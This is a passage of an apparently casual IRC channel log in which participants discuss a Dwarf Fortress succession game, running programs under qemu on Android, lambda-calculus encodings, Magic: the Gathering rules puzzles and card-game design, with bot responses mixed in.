it's first year 00:58:12 i'd be so down for another #esoteric succession fort but i'm not really a newbie any more 00:58:27 Doesnt matter 00:58:31 its for everyone 00:58:35 ill take the first turn 00:58:35 i like succession forts because i don't have to set down the initial floorplan and agonise over the large-scale design 00:58:50 Well, if I didn't have something that will take up... 00:58:57 43.03 everyone! 00:59:01 ...the entirety of next week... to deal with... 00:59:10 43.04 also works (i think) 00:59:11 (yes, really. :( ) 00:59:15 ): 00:59:28 i take just a hour or two to finish a turn 00:59:48 Who wishes to go after me? :P 01:00:01 (then again, if I can find a way to make qemu work - specifically qemu, not qemu-system - on an Android tablet...) 01:00:17 (qemu-system would probably be too slow) 01:00:23 Nah 01:00:33 DF in the early stages isnt too lagy 01:00:51 Wait, so my idea to bring an emulated Linux VM with me ISN'T considered insane? 01:00:58 Nope 01:01:01 I do it too 01:01:02 Something is wrong with the world 01:01:15 or terribly right! 01:01:22 Usually my crazy ideas are just that 01:01:31 gamemanj, cut down the save size 01:01:37 2x2 on the embark screen 01:01:40 No 01:01:43 Im embarking 01:01:49 what's the difference between qemu and qemu-system? 01:01:51 yeah i mean if he wants to run it on android 01:01:56 Then ill get the ball rolling and share it 01:01:57 I'm not even sure if I'll be part of this 01:02:08 wait if it's on android then surely it's ARM 01:02:08 ill do 2x2 for slower systems 01:02:14 and df is compiled as an x86 exe 01:02:16 moon__, no! 01:02:21 Phantom__Hoover: and NOW you know why the qemu is involved! 01:02:25 Phantom__Hoover: Virtual machine 01:02:34 fine, 3x3 01:02:38 gamemanj, yeah but there's a difference between hardware and software virtualisation 01:02:47 moon__, why not just 4x4 with decent population caps? 01:02:52 It'll be slow but it might work! 01:02:59 I like 3x3 :P 01:03:05 izabera: qemu-system emulates a whole machine 01:03:07 its a good middle size 01:03:29 Year 85 01:03:45 Now 01:03:50 Lets see if i can find a nice site 01:04:12 izabera: qemu-i386 more or less runs a program without emulating the full kernel/etc AFAIK. At least, that's what I think it does... 01:04:22 I know, I'll try it on a program and find out! 01:05:05 [gamemanj@Iwakura dist]$ qemu-i386 reb_static 01:05:05 Recovery Basic started. 01:05:05 Memory available unknown. 01:05:05 Ready. 01:05:21 (Ok, good, it does.) 01:05:33 How much memory do you have to use? 01:05:42 over 2gb is the best case here 01:05:56 On the target device... 01:06:31 uh, target device not active right now, busy charging for tomorrow. 01:06:58 2GB. 01:07:15 Eh, it'll do 01:07:17 - system stuff & emulator overhead & such and things will be rather bad. 01:08:12 Perfect location found 01:08:28 do you have a attachable keyboard (wireless for example?) 01:08:43 Phantom__Hoover, so in lambda calculus I could write something like \x.x where x is a function that does something specific, but I could then use the symbol x for function composition/application/abstraction and such? basically what the actual symbol symbolizes is irrelevant, lambda calculus just allows me to work with higher order functions in an abstract way? 01:09:22 moon__: I have an OTG keyboard... 01:09:28 Etaoin, yes, but then the trick is that in the lambda calculus those are the only functions 01:09:41 And by that I mean an OTG cable (no separate power though...) 01:09:42 and a keyboard 01:09:56 and they're still enough to express universal computation 01:10:01 If it canconnect to your device, it will work 01:10:10 that's the bit I can't understand :D 01:10:11 ill play the first year 01:10:16 who wants to go next? 01:10:27 how in the world can I do anything useful with such a simple system 01:10:41 Etaoin, look at brainfuck lol 01:10:52 brainfuck is relatively complex compared to this imo 01:11:01 Etaoin, well e.g. you can encode true vs. false as \x y.x and \x y.y 01:11:20 Ok 01:11:32 So no-one wants to take the next turn? 01:11:36 :( 01:11:41 I feel bad for moon 01:11:51 lol no need 01:12:16 and you can encode other data types in similar ways, and then from there you can get the 'primitive functions' that you expect to have 01:12:27 -!- lambda-11235 has joined. 01:12:53 More suggestively, you can encode true vs. false as \false true. false and \false true. true 01:13:18 In general, you just pretend that you're taking the data constructors for your algebraic type as arguments to the function 01:14:47 So e.g. if in Haskell, you'd have had data Tree a = Tip | Branch a (Tree a) (Tree a), and some value like Branch 1 (Branch 2 Tip Tip) (Branch 3 Tip Tip), you'd encode that as \tip branch -> branch 1 (branch 2 tip tip) (branch 3 tip tip) 01:15:52 Ah well 01:15:58 ill just put up the save when im done 01:16:31 Etaoin: and then supplying function arguments is basically doing a fold over the data structure 01:17:53 This embark has iron (so far) 01:18:00 processing 01:18:50 -!- Akaibu has joined. 01:21:36 Ooo, this embark has gold 01:24:35 Note the "as long as they're arbitrary" - you have to have enough expression to tell whatever lies you need, and by having that you also leave a hole open for telling truth 01:24:57 iirc the point of the original Newspeak was precisely _not_ to have enough expression. 01:25:40 although it still technically allowed "absurdies" like "Big Brother is ungood." 01:28:02 Cale: I only heard the last four lines of what you said, but I think I wrote a blog post about it. 01:28:09 http://lambda-11235.github.io/posts/2016-06-17-church-encode-adts.html 01:32:16 -!- boily has joined. 01:33:52 -!- ^v has quit (Quit: ZNC - http://znc.in). 01:34:12 helloily 01:34:15 -!- ^v has joined. 01:36:48 bohily 01:37:09 BHoily 01:38:01 calello 01:38:19 Quhintopia 01:40:10 myoon 01:44:03 quinthellopia, hellørjan, mhelloon__! 01:44:21 -!- boily has quit (Quit: REVIEW CHICKEN). 01:44:57 moon__, gold's ~common 01:45:09 the real fucker is getting both iron ore and coal 01:45:09 True 01:45:20 We'll see 01:45:33 Phantom__Hoover: Oh, I thought you were talking about Factorio. 01:45:34 because they can both appear in, generously, the first ten layers only 01:46:08 We have both deep and shallow metal.. 01:46:19 But I guess you're talking about Dwarf Fortress. 01:46:29 `culprits wisdom/montreal 01:46:36 We are 01:47:04 oerjan 01:47:11 shocking 01:47:25 Someone else wrote something similar to wisdom on hbot 01:47:27 -!- ^v has quit (Quit: ZNC - http://znc.in). 01:47:37 same name, actually 01:47:57 -!- ^v has joined. 01:48:51 shame DF is actually slower when there is no dfhack 01:51:07 -!- Sprocklem has quit (Read error: Connection reset by peer). 01:52:04 that was weird 01:52:17 what was? 01:52:53 do you people ever feel those feels? 01:53:01 ? 01:53:07 sure 01:53:11 when dogs die 01:53:13 the kinds of feels that make you feel all... feely 01:53:22 what's weird is boily coming in saying hello and leaving without explanation 01:53:58 ugh, mouse froze! 01:54:12 )= 01:54:14 halp me 01:54:24 nvm 01:54:45 can someone kick my ass? 01:54:53 so I don't have to deal with finals tomorrow 01:55:00 try turning into Jim Carrey in Liar, Liar 01:55:03 lol 01:55:06 :( 01:55:12 -!- Sprocklem has joined. 01:55:29 https://www.youtube.com/watch?v=87w655s3xKc 01:57:27 Etaoin: i can kickban you if that helps 01:57:50 a 24 hour kickban would promote studying 01:57:52 objectively it might but it won't get me out of the test 01:57:53 `wisdom 01:57:58 lettuce//Lettuce is a vegetable with two dressings, join and meet. 01:58:18 i prefer my lettuce without meat tdnh 01:58:27 weird 01:58:27 Then do kick without ban. 01:58:34 Either way it won't help anyways 01:58:39 i like my salads with chicken and my burgers with lettuce 01:58:47 i like all my food vegetarian 01:58:57 shachaf: that's just a semi-lettuce 01:58:57 and i like people not talking about eating meat around me 01:59:12 i also prefer eating only vegetarians 01:59:14 you can't always get what you like 01:59:28 but i can always get salads the way i like 01:59:48 not from me 01:59:53 in fact i'm unhappy right now because of you 01:59:54 I like soy 01:59:56 let's change the subject 02:00:01 `wisdom 02:00:03 brick//Brick goes in brain. The statutory punishment for perpetrators of brainfuck derivatives. 02:00:07 shachaf you vegetarian? 02:00:13 yes 02:00:16 high five 02:00:17 ...that's not changing the subject 02:00:21 `wisdom 02:00:22 ruby//Ruby is a programming language from Japan, that eventually decided to support non-ascii characters. 02:00:36 ...i did not know that 02:00:41 that's kind of hilarious 02:01:01 Is it Japan or Ruby that eventually decided to support non-ascii character? 02:01:02 -!- shikhin has changed nick to oonbotti4. 02:01:16 -!- oonbotti4 has changed nick to shikhin. 02:01:17 characters 02:01:27 Non-ascii characters like ørjan, I suppose. 02:01:29 `? ørjan 02:01:31 ​Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers. 02:02:05 `? oerjan 02:02:07 Your mysterious articled cackling zombie underlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:02:50 `slwd ørjan//s#.$# without noticing it.# 02:02:55 wisdom/ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 02:02:56 >His arch-nemesis is Betty Crocker. 02:03:02 sounds like someone was reading homestuck 02:03:42 well not me 02:03:50 ¯\_(ツ)_/¯ 02:04:00 `? betty crocker 02:04:02 Betty Crocker is a notorious gambler. 02:06:19 `? shachaf 02:06:21 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 02:06:41 I guess now I know who was reading homestuck 02:06:51 Not me. 02:07:05 I'm sensing tomfoolery 02:07:11 `? tomfoolery 02:07:12 tomfoolery is always factually inaccurate. always. 02:07:25 `` grep shachaf bin/slist 02:07:27 No output. 02:07:32 `? slist 02:07:33 Update notification for the webcomic Homestuck. 02:07:45 hm i'll have to side with shachaf there 02:07:45 `` cat bin/slist | rot13 02:07:46 rpub -a "$(onfranzr "$0")${@:+ }$@: "; gnvy -a+2 "$0" | knetf; rkvg \ Gnaro \ ngevd \ Atriq \ aiq \ Svben \ Ftrb \ GungBgureCrefba \ nybg 02:07:58 statistically it seems to have been Taneb hth 02:08:05 I meant the bot was reading it 02:08:14 obv 02:08:36 unlikely. the bot has rather limited internet access. 02:08:53 oerjan: if that's true, how come it always knows about slist updates? hth 02:09:20 fungot: have you tried https://xkcd.com/1646/ yet? 02:09:21 Etaoin: mimulus luteus--crossed and self-fertilised flowers, in height, weight, and fertility :) most :) these cases a first trace :) movement could not be easily observed; but it certainly was in/ time :)/ year, which is often called/ sense :) hearing; for with chickens hatched by artificial heat, a good deal, and i found in it. 02:09:23 your logic is peccable 02:09:37 what does slwd stand for? 02:09:40 PECCABLE CHICKEN 02:09:46 (I can figure out what it does from context, but not why it has that name) 02:10:00 ais523: i just put a w in sled hth 02:10:00 It's sled for wisdom/ 02:10:18 and "sled" is a portmanteau of "slash" and "sed"? 02:10:25 Correct. 02:11:05 can't wait til someone implements a general AI as a bot here 02:11:25 ^style 02:11:25 Available: agora alice c64 ct darwin* discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube 02:11:41 ^style europarl 02:11:41 Selected style: europarl (European Parliament speeches during approx. 1996-2006) 02:11:55 oh damn I'm interested in the homestuck one 02:11:59 fungot: what do you think about brexit 02:12:01 oerjan: mr president, ladies and gentlemen, we have seen today, would almost certainly lead to some companies, especially in tropical waters, such as esprit, telematics, leonardo da vinci programme, which is regarded as a commodity and on which fnord has not been able to help with transport and setting up centres of excellence in all the national structures so that they can have in each individual member of each national parlia 02:13:42 i assume eir point was in the cut off part 02:13:48 Maybe sled should be called s/e/d 02:14:02 Everything should have more slashes. 02:14:27 maybe /s/e//d/// 02:14:47 But then the spoilers would become nonsensical. 02:14:55 And also the root directory would become further polluted. 02:15:13 when has that ever stopped people from doing things 02:15:54 It stops people with refined taste, like oerjan. 02:16:36 one might argue that oerjan is a scrub 02:16:56 @wn scrub 02:16:58 *** "scrub" wn "WordNet (r) 3.0 (2006)" 02:16:58 scrub 02:16:58 adj 1: (of domestic animals) not selectively bred 02:16:58 n 1: dense vegetation consisting of stunted trees or bushes 02:16:58 [syn: {scrub}, {chaparral}, {bush}] 02:17:00 [10 @more lines] 02:17:06 @more 02:17:06 2: the act of cleaning a surface by rubbing it with a brush and 02:17:06 soap and water [syn: {scrub}, {scrubbing}, {scouring}] 02:17:06 v 1: clean with hard rubbing; "She scrubbed his back" [syn: 02:17:08 {scrub}, {scour}] 02:17:10 2: wash thoroughly; "surgeons must scrub prior to an operation" 02:17:12 [5 @more lines] 02:17:21 @more 02:17:21 [syn: {scrub}, {scrub up}] 02:17:21 3: postpone indefinitely or annul something that was scheduled; 02:17:21 "Call off the engagement"; "cancel the dinner party"; "we had 02:17:21 to scrub our vacation plans"; "scratch that meeting--the 02:17:22 chair is ill" [syn: {cancel}, {call off}, {scratch}, {scrub}] 02:18:18 at first I thought I was looking at a very complicated translation bot for a different channel 02:18:28 and then I realized it was just lambda being spammy 02:18:39 it ain't lambda's fault 02:19:31 I looked up "scrub" on the Internet. 02:19:35 Please don't be a jerk. 02:19:59 I was joking :( 02:20:05 I know. 02:20:23 But the whole joke is that you're being rude. 02:20:29 There's nothing else to that joke. 02:21:18 I obviously wouldn't call oerjan a scrub for real though 02:21:22 not by a long shot 02:22:00 my apologies in any case 02:22:20 I think you should scrub that word from your lexicon. 02:23:10 rm -rf roots/scrub 02:23:59 i dunno, that 3rd definition resonates with me 02:24:57 The 6th? 02:25:17 the only 3: one I assume 02:26:48 -!- gamemanj has quit (Quit: Leaving). 02:26:51 shachaf, stop being an awkward fogey plz 02:27:06 no 02:27:47 @wn fogey 02:27:48 *** "fogey" wn "WordNet (r) 3.0 (2006)" 02:27:49 fogey 02:27:49 n 1: someone whose style is out of fashion [syn: {dodo}, {fogy}, 02:27:49 {fogey}, {fossil}] 02:28:12 clearly a fellow precambrian 02:28:27 -!- hppavilion[1] has joined. 02:28:28 or at least jurassic 02:28:34 are you implying shachaf's clothing isn't fashionable enough 02:28:43 no, my slang 02:28:47 i don't know, i have never seen shachaf's clothing 02:29:01 that i can recall 02:29:11 anyway, i knew what the word meant 02:29:19 i wasn't suggesting it's illegitimate because it's not in the dictionary 02:29:36 @wn gullible 02:29:38 *** "gullible" wn "WordNet (r) 3.0 (2006)" 02:29:38 gullible 02:29:38 adj 1: naive and easily deceived or tricked; "at that early age 02:29:38 she had been gullible and in love" [syn: {fleeceable}, 02:29:38 {green}, {gullible}] 02:29:40 2: easily tricked because of being too trusting; "gullible 02:29:42 tourists taken in by the shell game" 02:30:00 I love that the last synonym of fogey is fossil 02:30:21 `` ls bin/*magic* 02:30:38 ls: cannot access bin/*magic*: No such file or directory 02:30:39 `` ls bin/*card* 02:30:41 bin/card-by-name \ bin/random-card 02:30:47 `card-by-name fogey 02:30:58 No output. 02:31:07 `card-by-name old fogey 02:31:08 `card-by-name fossil 02:31:33 Old Fogey \ GG \ Summon Dinosaur \ 7/7 \ Phasing, cumulative upkeep {1}, echo, fading 3, bands with other Dinosaurs, protection from Homarids, snow-covered plainswalk, flanking, rampage 2 \ UNH-R 02:31:33 Fossil Find \ (r/g) \ Sorcery \ Return a card at random from your graveyard to your hand, then reorder your graveyard as you choose. \ SHM-U 02:33:16 `card-by-name steamflogger boss 02:33:19 Steamflogger Boss \ 3R \ Creature -- Goblin Rigger \ 3/3 \ Other Rigger creatures you control get +1/+0 and have haste. \ If a Rigger you control would assemble a Contraption, it assembles two Contraptions instead. \ FUT-R 02:33:29 ais523: What was your hypothesis for how assembling contraptions must behave? 02:33:37 Or maybe it was just vague grammatical speculation. 02:34:09 shachaf: that it's in the same sort of grammatical category as "attacks", "blocks", "targets", "damages" 02:34:13 that "assembles" is, I mean 02:34:17 and thus that protection prevents it working 02:35:01 I had a theory that maybe it works a bit like the early playtests of outlast did; during your combat phase, instead of attacking a player or a planeswalker with a creature, you can assemble a contraption with it 02:35:37 hmm… if a planeswalker has protection from creatures, that doesn't stop creatures attacking it, right? because attacking isn't listed in the list of things protection stops 02:35:56 so maybe protection wouldn't save the contraptions from assembly either 02:36:22 one theory as to what assembly does is that the contraptions are permanently tapped when played, and assembling them is the only way to untap them 02:36:59 Seems odd to introduce an extra word for that. 02:37:07 But I guess it could be some other state. 02:37:40 Maybe a Contraption is an entity consisting of more than one object? 02:37:51 Well, that doesn't make that much sense. 02:38:17 at what point does it stop being human error and the machine becomes responsible? 02:39:25 shachaf: you'd have to introduce an extra word, if you wrote the rules out (say as reminder text) it would be something like "(Instead of attacking, this creature can untap a Contraption you control)" 02:39:52 note that "instead of attacking" is kind-of needed, because otherwise it'd probably be an activated ability with a target 02:40:00 you get one guess at any of the things google autocompletes "how to catch up on" to 02:40:03 and then steamflogger boss's text would look different 02:40:15 Why would it have to do with attacking? 02:41:09 I needed some way for it to not be an activated ability 02:41:13 which means it has to be a special action 02:41:23 -!- Phantom__Hoover has quit (Read error: Connection reset by peer). 02:41:24 then I looked for something that would have a reason to be a special action rather than an activated ability 02:41:33 replacing an attack is one way to do that, as that's a cost that an activated ability can't have 02:41:50 Why wouldn't it be an activated ability? 02:42:20 how would you phrase this mechanic as an activated ability? 02:42:56 (note that in early design, outlast replaced an attack, but it was changed to a sorcery-speed tap ability during development to make the way it worked clearer; that changes the way it works though) 02:43:15 Ah, that's what you meant. 02:44:03 I guess there wouldn't be a reason to say "assemble a Contraption" instead of just "assemble" for a lot of things I was thinking of. 02:44:47 How about: {T}: Assemble. "assemble" means you flip a coin or roll a die or something, and do different things depending on what you got. 02:45:04 A Contraption is a kind of token you might assemble. 02:45:46 it probably doesn't work rules-grammatically, but the best design I've seen has "assemble a Contraption" mean "place a Contraption artifact token into play", and the cards that assemble contraptions have static abilities that grant abilities to contraptions 02:45:54 in much the same way that slivers grant abilities to other slivers 02:46:04 riggers grant abilities to contraptions 02:46:10 Why doesn't it work rules-grammatically? 02:46:22 The way I put it, with the random chance. 02:46:26 steamflogger boss would be templated as "assemble an additional contraption" 02:46:38 because the assembler wouldn't matter for that mechanic 02:47:05 Maybe it can assemble a contraption during combat, based on what creature is blocking it or something? 02:48:32 Seems like there are a lot of cases where the assembler could matter. 02:49:49 have you guys ever tried putting ( ͡° ͜ʖ ͡°) into google translate and have it pronounce it? 02:50:10 I try not to put that anywhere. 02:50:21 Including my IRC channels. 02:50:29 nukeitfromspace 02:51:04 Oh, Contraption is an artifact type. 02:51:08 I didn't realize that. 02:57:39 `` nuke it --src=orbit 02:57:43 ​/hackenv/bin/`: line 4: nuke: command not found 02:57:57 `? nuke it from orbit 02:57:58 nuke it from orbit? ¯\(°​_o)/¯ 02:58:14 why are you doing that 02:58:21 it would be just as good without the ` 02:58:24 just less bot spam 03:00:06 I think that a planeswalker with protection from creatures can still be attacked, but will not receive any damage as a result of the attack. 03:01:26 But of course I do not know what "assemble" is. Contraption is a subtype of artifacts though; that is already defined. 03:02:45 zzo38: correct about pro: creatures 03:03:48 I cannot think of anything that "assemble" might mean that would have SteamFlogger Boss to make sense anyways. 03:04:24 That moment when somebody tries to explain to you that you're wrong thinking that this number is big, and they give you a googol for comparison 03:04:35 After you said "I eat Graham's Number for breakfast" 03:04:43 zzo38: I agree that it wouldn't receive damage, and hadn't thought of that before you mentioned it 03:05:05 now I'm wondering if there's any way to give a planeswalker protection from creatures using existing cards 03:05:26 (I have a strong suspicion that if there is, at least one of mycosynth lattice and enchanted evening will be involved) 03:06:02 I know how to do it, but I'm going to see if there's a way without that ;) 03:06:47 ah! 03:07:18 have a teferi emblem, a gideon, a concerted effort, and a beloved chaplain 03:07:25 animate gideon in response to concerted effort trigger 03:07:26 `card-by-name enchanted evening 03:07:28 Enchanted Evening \ 3(w/u)(w/u) \ Enchantment \ All permanents are enchantments in addition to their other types. \ SHM-R 03:07:57 I think there's a much easier way: animate gideon, enchant with spirit mantle 03:08:04 (admittedly it falls off at end of turn, so it isn't very interesting, but you can do it) 03:08:20 `card-by-name spirit mantle 03:08:21 Spirit Mantle \ 1W \ Enchantment -- Aura \ Enchant creature \ Enchanted creature gets +1/+1 and has protection from creatures. \ M12-U, PC2-U 03:08:55 oh yeah, that works 03:08:58 this is unless there's a gideon that can stay animated for multiple turns 03:09:03 nope 03:09:10 `card-by-name concerted effort 03:09:12 Concerted Effort \ 2WW \ Enchantment \ At the beginning of each upkeep, creatures you control gain flying until end of turn if a creature you control has flying. The same is true for fear, first strike, double strike, landwalk, protection, trample, and vigilance. \ RAV-R 03:09:20 though mine actually allows this to happen off-turn 03:11:09 it's easier with un-cards 03:11:16 as you can just use staying power to keep gideon animated indefinitely 03:11:23 (that said, staying power doesn't actually work rules-wise, most likely) 03:11:23 `card-by-name staying power 03:11:27 Staying Power \ 2W \ Enchantment \ As long as Staying Power is in play, "until end of turn" and "this turn" effects don't end. \ UNH-R 03:11:30 (and even if it did it'd be completely broken) 03:11:58 What about a sorcery with an "until end of turn" version of Staying Power? 03:12:10 uncards are great 03:12:39 shachaf: it'd still last forever, wouldn't it? :-P 03:12:48 the enchantment version is at least removable 03:13:05 I once made up a card that says: Skip all cleanup steps. 03:13:08 (actually I misremembered the card, I thought it was an instant that deleted "until end of turn" or "this turn" from cards) 03:13:30 zzo38: does that prevent "until end of turn" effects ending? 03:13:51 Thankfully, as it's an UNH card, the comprehensive rules don't have to think about the exact implications of that card. 03:13:56 actually, does it cause damage to stay marked permanently? I think it would but I'm not sure 03:14:30 Rule 514.2 ends "until end of turn" effects and removes all marked damage. 03:14:37 this is why ending the turn doesn't skip the cleanup step, and why triggers during the cleanup step cause a second cleanup step after they resolve 03:14:37 That is part of the cleanup step. 03:14:52 now I'm wondering if there's a way to get an infinite loop of cleanup steps 03:15:08 Someone has generously offered to give hbot a server 03:15:35 preferably a mandatory one (you could get an optional one if manamorphose got madness somehow and there was an ROE emrakul in your library) 03:15:49 Yes, the rules are that, if there are any pending triggers or state based actions during a cleanup step, then the active player gets priority; if any player gets priority during a cleanup step, then there is another cleanup step instead of the next turn. 03:15:58 ais523: Then you'd be able to force a tie. 03:16:00 ais523: What about a card that terminates an "until X" effect early? 03:16:12 I guess there's no way to specify effects. 03:16:19 "target effect"? 03:16:28 I don't see a reason why it wouldn't work in the rules, although I'm pretty sure they'd never print it 03:16:35 You can't target effects. Only players, objects, and zones can be targeted. 03:16:54 but the only reason you can't target effects is that the rules say you can't 03:17:15 Do effects exist in some zone or something? 03:17:32 What are effects? We just don't know. 03:17:37 ugh, Gatherer text search matches the name of a card if it's using it tor efer to itself 03:17:39 *refer 03:17:56 What's wrong with that? 03:18:01 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 03:18:02 It's at most one extra result. 03:18:45 more than one if you're looking for a single word that exists within multiple card names 03:18:56 fwiw, I've been vaguely considering writing my own TCG rules 03:19:04 and I'd have cards use first-person pronouns to refer to themselves 03:19:05 -!- spockers has joined. 03:19:16 it's short, clear, and doesn't change based on context 03:19:36 I'd play aistcg 03:19:52 Though I think the "trading card" aspect of mtg is kind of scow unless your goal is to make money. 03:19:58 anyway, looks like it's only possible to give madness to cards that don't already have them if they're creatures 03:20:03 :( I searched for Pentagonal Dreams, and found a video claiming to be the Enigma OST. It is not. 03:20:08 https://www.youtube.com/watch?v=7y3s2sBr0qA 03:20:19 Sgeo_: Enigma's OST is available from the source repo 03:20:37 although pentagonal dreams is an s3m, which I had to convert to ogg to get my media player to understand it 03:21:38 shachaf: I think the solution to that (if you even want to use the TCG model) is to have a cap on singles prices, implemented via a standing offer to sell any card for a given specific price, and just printing more cards to keep up with demand via that mechanism 03:21:38 One way to convert s3m->ogg is to use my "playmod" program, taking the s3m as input and pipe the output to sox and tell it to write a ogg format output. 03:21:50 (a likely price would be around the price of a booster) 03:21:59 alternatively you could use the LCG model, which I rather like 03:22:06 I don't like that either that it matches the name of the card to refer to itself, and I also don't like that reminder text is included and matched for searches in Gatherer. 03:22:35 I would use a different kind of model to make the card game and I think I have described it on here before. 03:22:51 if you did, I either missed it or can't remember it 03:23:04 hmm, perhaps I should write out the rules of my tcg/lcg/whatever 03:23:08 ais523: The solution to what? Making money? 03:23:19 ais523: You should. 03:23:23 shachaf: the solution to singles prices going too high 03:23:36 Are your cards computer-interpretable? 03:23:44 Ok, so the YouTube video is espirit.ogg 03:24:40 shachaf: my current thoughts have been that all abilities are keyworded, but reminder text has rules meaning and so the keywords don't need to be placed in the rules unless they're defined without reminder text 03:24:43 -!- kalippo has joined. 03:24:45 `welcome kalippo 03:24:46 I'm not sure if the reminder text would be machine-readable 03:24:48 kalippo: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 03:24:58 there's tension between that, and making it fit on the card 03:25:11 OTOH the keywords would be machine-readable but you'd still have to program their effects separately 03:25:22 I'd be happier with keywords being part of a standard library rather than a core language. 03:25:36 well, the idea is 03:25:40 you make up a new card effect 03:25:47 if it's never seen before you make up a new keyword name to go with it 03:25:56 that way, you don't have to decide in advance whether you want to be able to care about it or not 03:26:20 (this should fix the problem with M:tG tribal, hopefully, where they decided it was a failure as it wasn't retrofitted onto cards that should have had it) 03:27:21 I'm fairly fond of the LCG model, personally. 03:27:24 I wouldn't define keywords in the rules, probably more like in some sort of "evergreen keywords booklet" that would be included in the rules for convenience 03:27:34 like, shipped together 03:27:37 rather than officially part of it 03:28:06 I would have a different kind. There is no reminder text. Keywords are defined in the rules, and the rules include computer code. There is also computer codes available per cards, both keyword and non-keyword effects. No booster packs; purchase a "set box", containing cards (grouped by rarity), rule book, a list of cards (to check if any are missing), and a DVD with all the computer codes to implement it. 03:28:25 But my computers don't have DVD drives. 03:28:41 Then you can download the same file from the internet. 03:29:01 I don't have a Gopher client either. 03:29:22 there are several ff extensions 03:29:46 (If you have neither DVD nor internet, then too bad; you will have to retype it, or get someone to copy it to a media your computer does support.) 03:30:03 "A gazelle is just a giraffe, plotted logarithmically" 03:30:06 `? gazelle 03:30:07 gazelle? ¯\(°​_o)/¯ 03:30:12 anyway, two of my main focuses were to ensure that a) there's no hidden gamestate, you can always determine the gamestate by looking at where the cards are; b) the number of instances at which you can make a decision is fairly limited, and in particular if mechanics like priority are needed they're a visible part of the game rather than an obscure rule 03:30:13 LCG? 03:30:14 You don't need the Firefox extension. You can use nc or curl to download the file (and it may be available over multiple protocols) 03:30:22 `learn A Gazelle is just a giraffe, plotted logarithmically 03:30:27 Learned 'gazelle': A Gazelle is just a giraffe, plotted logarithmically 03:30:32 Sgeo_: LCG is basically like a TCG, but cards are distributed as playsets of entire blocks rather than booster packs 03:30:35 you get a much better ux with ff 03:30:53 ais523: If the game is implemented on a computer, you can create token-style cards to represent ongoing effects and so on much more easily. 03:30:56 in Magic: the Gathering, very few people buy, say, a playset of every card in BFZ 03:31:08 you can do it but it's incredibly expensive and not normally worth it 03:31:14 Topologically, a human is just a torus 03:31:16 in an LCG, doing that is much cheaper and the normal way to obtain cards 03:31:21 (Think about it; you know I'm right) 03:31:27 ais523, this kills pay2win? 03:31:29 hppavilion[1]: it's a multi-holed torus 03:31:31 hppavilion[1]: that's gross, stop it 03:31:32 Sgeo_: yes 03:31:36 :D 03:31:41 ais523: Where are the other holes? 03:31:41 although M:tG is more pay-to-compete 03:31:51 The nose is... wait... hm... 03:31:55 there's a ceiling beyond which spending more doesn't increase your odds of winning 03:32:06 hppavilion[1]: nose, ears, mouth are all connected 03:32:10 Huh, I suppose you can't merge nostrils with the mouth 03:32:21 Wait, can you? I'm not sure 03:32:23 I don't think so 03:32:34 Humans are significantly more complicated, even up to homeomorphism. 03:32:50 For my card game design the computer would be optional. But it does help, because the computer code for the game can define the rules precisely and clearly enough. It can be literate programming, in order to print out the book with computer codes too, to read it and do even without computer. 03:33:01 shachaf: We're pretending that humans are solid, aside from the open areas a camera could get to by going in through any exposed orifices 03:33:06 I think a computer helps because you often want to play the game remotely 03:33:30 ais523: Is there a proper topological way to merge the nostrils into the mouth? 03:33:32 You will have to pay extra if you want to use the official servers. If you implement your own server then the game can be played for free on computer. 03:33:40 Ears are obviously irrelevant, because they stop partway into the body 03:34:00 @massages-proud 03:34:00 Unknown command, try @list 03:34:06 @massages-aloud 03:34:06 You don't have any messages 03:35:39 zzo38: Why not make money by selling advertisements and users' personal information? 03:36:26 I woke up today and realized I should start a megachurch 03:36:37 I'm an atheist who wants a shitton of money and I have flexible morals 03:36:44 Megachurch is the way to go 03:36:46 how is a megachurch different from a church? 03:36:54 izabera: It's bigger and more profit-oriented 03:37:19 It's basically a way to mass-produce normal churching, AND turn a profit doing it 03:37:42 if only your morals were flexible enough for a gigachurch 03:38:03 shachaf: That is a possibility, although I do not like that. Even in any case, advertisements and/or payment and/or whatever is only for the official servers and not if you set up your own. 03:38:06 shachaf: That's phase 3 03:38:13 shachaf: Phase 1 is a kilochurch 03:38:14 hppavilion[1]: https://www.youtube.com/watch?v=7y1xJAVZxXg 03:38:30 (If you set up your own, they can be used on LAN as well as internet, and possibly other things too if you modify the program to support them.) 03:38:52 zzo38: But you could forbid users from running the game on their own, you can make more money. 03:38:57 s/could // 03:39:25 No. It should be possible everyone can do, so that it is free (as in speech), and to make the rules understandable. 03:40:01 Still, such things as ratings and fancy graphcs and sound effect are only available on the official server (unless someone implement clones of these features). 03:40:18 -!- Etaoin has quit (Quit: swooooosh~~~). 03:40:41 (And, of course, official server also help to do play against random opponent, and stuff like that too.) 03:42:01 Why shouldn't fancy graphics be free as in speech? 03:42:03 So, both official and unofficial has their own exclusive features even though both include open-source rules for the game. 03:42:21 shachaf: M:tG has at least two unofficial clones that haven't been shut down yet even though they're blatant copyright infringements 03:42:23 shachaf: It can, if someone makes an unofficial version of such thing! Otherwise it is not. 03:42:33 (and IIRC WotC(aHS) is trying to shut down at least one) 03:42:41 ais523: Aren't there also a bunch of clones that have been shut down? 03:42:54 not to mention games like Hex which are M:tG with the serial numbers filed off and just enough rules changes to dodge patents 03:43:06 shachaf: I can't remember the details, IIRC it's complex 03:43:20 it might have been that a website distributing one was shut down but the program itself is still developed by other means, or something like that 03:43:41 I think it is that binaries are not distributed and you must compile from source, or something like that? 03:44:52 Some things usable only with unofficial servers for my design would be LAN play, experimental custom cards/sets, custom rule variants, etc. 03:45:56 Wouldn't you rather make more money by forbidding that? 03:46:28 Some things usable only with official servers would be ratings, global leaderboards, fancy sound effects and graphics, automatic updates, play against random opponent, lobby, etc. 03:46:50 shachaf: The goal would be to make a card game, not to earn money, though. Earn money is secondary. 03:49:47 (The rules 